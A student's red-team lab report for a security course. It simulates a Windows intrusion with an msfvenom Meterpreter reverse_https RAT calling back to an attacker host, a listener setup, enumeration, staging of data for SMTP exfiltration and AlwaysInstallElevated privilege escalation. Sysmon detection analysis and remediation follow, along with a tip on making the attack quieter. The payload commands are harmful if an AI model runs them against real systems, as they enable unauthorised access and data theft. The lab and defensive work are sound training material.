Lab was initially written in my own formatting as I didn't see the bit at the bottom. This is the result of telling Claude to format my original work into the provided template. I made sure to go over it and remove the bits it created itself, though I may have missed some that it may have changed more slightly without my knowledge. My initial work can be found here: https://github.com/tnugent371/tech-journal/wiki/olfdirst

Course: SEC-335
Date: October 5, 2026
Tester: Trevor Nugent
Target Host: DESKTOP-64LA2VE — Windows 10 Workstation (user champuser)
C2 / Attacker Host: Kali Linux (10.0.17.23)
Objective: Simulate a Red Team operation covering initial access, host enumeration, non-standard data exfiltration, and local privilege escalation, and assess detection coverage.

Worked to gain access to a Windows machine before performing reconnaissance on that system and exfiltrating the gathered information, before using it to create a new access point with administrator privileges.

Objective: Create two RATs using msfvenom's reverse_https Meterpreter module (no port below 12000) and configure one listener.

Payload generation — RAT:

msfvenom -p windows/meterpreter/reverse_https LHOST=10.0.17.23 LPORT=14384 -f exe -o ratPayload.exe

Listener setup (one handler, for the Phase 1 attack):

msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 10.0.17.23
set lport 14384
exploit

Parameter justifications:

reverse_https must use the same LHOST/LPORT on both the payload and the handler, or the callback will not be received.

Chosen vector — Option B: Darknet Credential Simulation.

The attacker authenticated to the Windows 10 host over RDP using those stolen credentials, then used the command line to download the RAT binary from the C2 server with scp over SSH and execute it, establishing a Meterpreter session as the standard user.

Session output — field definitions. The sessions output displays the following fields for each session:

• Id — Sequential identifier assigned at session creation.
• Name — Optional label for the session, if one has been set.
• Type — The Meterpreter payload type for the session.
• Information — The username and device (host) connected.
• Connection — The source and target IP and port for the session.

CLI commands used to verify the foothold as champuser:

sysinfo
getuid
whoami

Foothold confirmed as the standard user champuser via getuid:

Meterpreter modules executed (5):

1. getuid — Displays the system name and current username.

2. sysinfo — Displays the device name, operating system, and architecture.

3. ps — Lists all currently running processes.

4. getprivs — Shows the current user's privileges.

5. route — Displays active network connections.

Custom enumeration script. enumerate.ps1 gathers system data on target system with whoami /all, net user, net localgroup Administrators, net session`, and related checks, creating a file for each output.

Compression / staging. The data was compressed into a .zip archive using the built-in tar utility (tar -a -c -f enumerations_zip.zip "C:\temp\enumerations") and staged for exfiltration.

Method: SMTP (email).

Technical justification. Emails are widely common on a corporate network, and it can be very difficult to filter out a random zip file as something that should not leave the network.
Detection: Largely packet destination tracking, deep packet examination, and simply preventing devices from emailing those outside of the network. Deep packet examination is likely the most important if your mail server is in any way accessible outside the network, and would mostly mean having an automated system strictly search and flag anything that might be property or information that should not leave the network or be otherwise shared.

Verification on C2 (decompress):

unzip enumerations_zip.zip -d enumerations

Vulnerability: AlwaysInstallElevated misconfiguration.

CVE identifier. None. AlwaysInstallElevated is a policy misconfiguration, not a software defect, so it carries no CVE. It maps to MITRE ATT&CK T1548 – Abuse Elevation Control Mechanism (Windows Installer elevated-privileges policy abuse).

Root cause. Incorrectly set registry values (or at least invalid for any slightly public environment):

HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1

Windows Installer service runs .msi packages in the NT AUTHORITY\SYSTEM context regardless of who is the one installing them.

Exploit mechanism / how it bypasses controls. An attacker crafts a malicious .msi whose payload is a SYSTEM-context callback. When a standard user launches it, the elevation is granted by the Installer service itself.

Link to Phase 2 enumeration. The Phase 2 enumeration established that champuser held no administrative group membership (net localgroup Administrators), and local_exploit_suggester then reported alwaysinstallelevated as a viable candidate. With no admin path available, the misconfigured installer policy was the reliable route from standard user to SYSTEM.

use post/multi/recon/local_exploit_suggester

Verification on target. The Sysmon logs confirm the escalation: champuser invoked msiexec /i setup.msi, which was immediately followed by msiexec.exe executing as NT AUTHORITY\SYSTEM

Log collection. The Microsoft-Windows-Sysmon/Operational log was exported from the target and parsed for Event ID 1 (Process Create). The export contained 14,112 records (8,709 of them Event ID 1); the entries below are those tied to the Phase 1–4 activity on the graded run (2026-10-06).

Execution table (Event ID 1):

The custom enum script (enumerate.ps1) executed during an earlier prep session (2026-09-21); all other rows are from the 2026-10-06 graded run. The repeated msiexec attempts in the logs (setup.smi, setup.exe, setup,msi, setupx.msi) are mistyped variants before the successful setup.msi install.

Detection analysis.

Likely detected:

• msiexec /quiet /qn /i from a user cmd.exe, immediately followed by a SYSTEM msiexec -Embedding — this is the textbook AlwaysInstallElevated abuse pattern and is covered by standard Sigma rules. The burst of mistyped msiexec attempts made this especially noisy and easy to flag.
• ratPayload.exe executing from C:\Users\champuser\ and \Downloads\ with a powershell.exe parent — an unsigned binary launched from a user-profile path is a common high-confidence detection.
• Encoded/hidden PowerShell (-EncodedCommand, -nop -w hidden -noni, gzip+base64 blob) — classic Meterpreter PowerShell; the command line alone is a strong signature even though the payload attempted to disable ScriptBlockLogging.
• cmd.exe /c "echo. | powershell get-host" — Meterpreter's shell-channel probe, a known pattern.

Potentially undetected:

• The reverse_https C2 beaconing itself — TLS-encrypted, so process-creation logs never reveal it; network-side detection (JA3, beacon timing) would be required.
• The SMTP exfil — the archive was sent over the established session / mail service and produced no distinctive Event ID 1 process on the host, so process-creation monitoring alone would miss the actual data egress. Detection would depend on network/DLP controls.
• The ScriptBlockLogging bypass ($fXXRs … EnableScriptBlockLogging = 0) attempted to suppress PowerShell content logging, though Sysmon Event ID 1 still captured the process command line.

Suggested improvement (TTP change). The single most detectable moment was the storm of mistyped msiexec commands and the SYSTEM -Embedding follow-on. A cleaner operation would stage a correctly-named, signed-looking .msi outside the user profile and run it once, and would avoid the cmd /c echo | powershell get-host probes — collapsing a loud, repeated, highly-signatured burst into a single event. On the defensive side, removing AlwaysInstallElevated via GPO closes the vector outright.

1. Remove AlwaysInstallElevated — set both the HKLM and HKCU registry policy values to 0 (or unconfigure via GPO). This closes the Phase 4 escalation path entirely.
2. Application / installer control — restrict which users can run .msi packages and from where; apply WDAC/AppLocker to block untrusted installers and prevent shells from spawning unexpected children.
3. Encrypt and monitor staged data — the Phase 2 staging archive was unencrypted; require encryption for temporary/staged files and monitor user directories for archive creation.
4. Egress filtering & DLP — force outbound mail through a monitored relay, block direct SMTP egress from workstations, and apply DLP content inspection to catch archive/sensitive-data exfil.
5. Detection tuning — ensure Sysmon + PowerShell Script Block Logging are enabled and protected, and that Sigma rules cover msiexec AlwaysInstallElevated abuse, encoded/hidden PowerShell, and unsigned binaries executing from user-profile paths.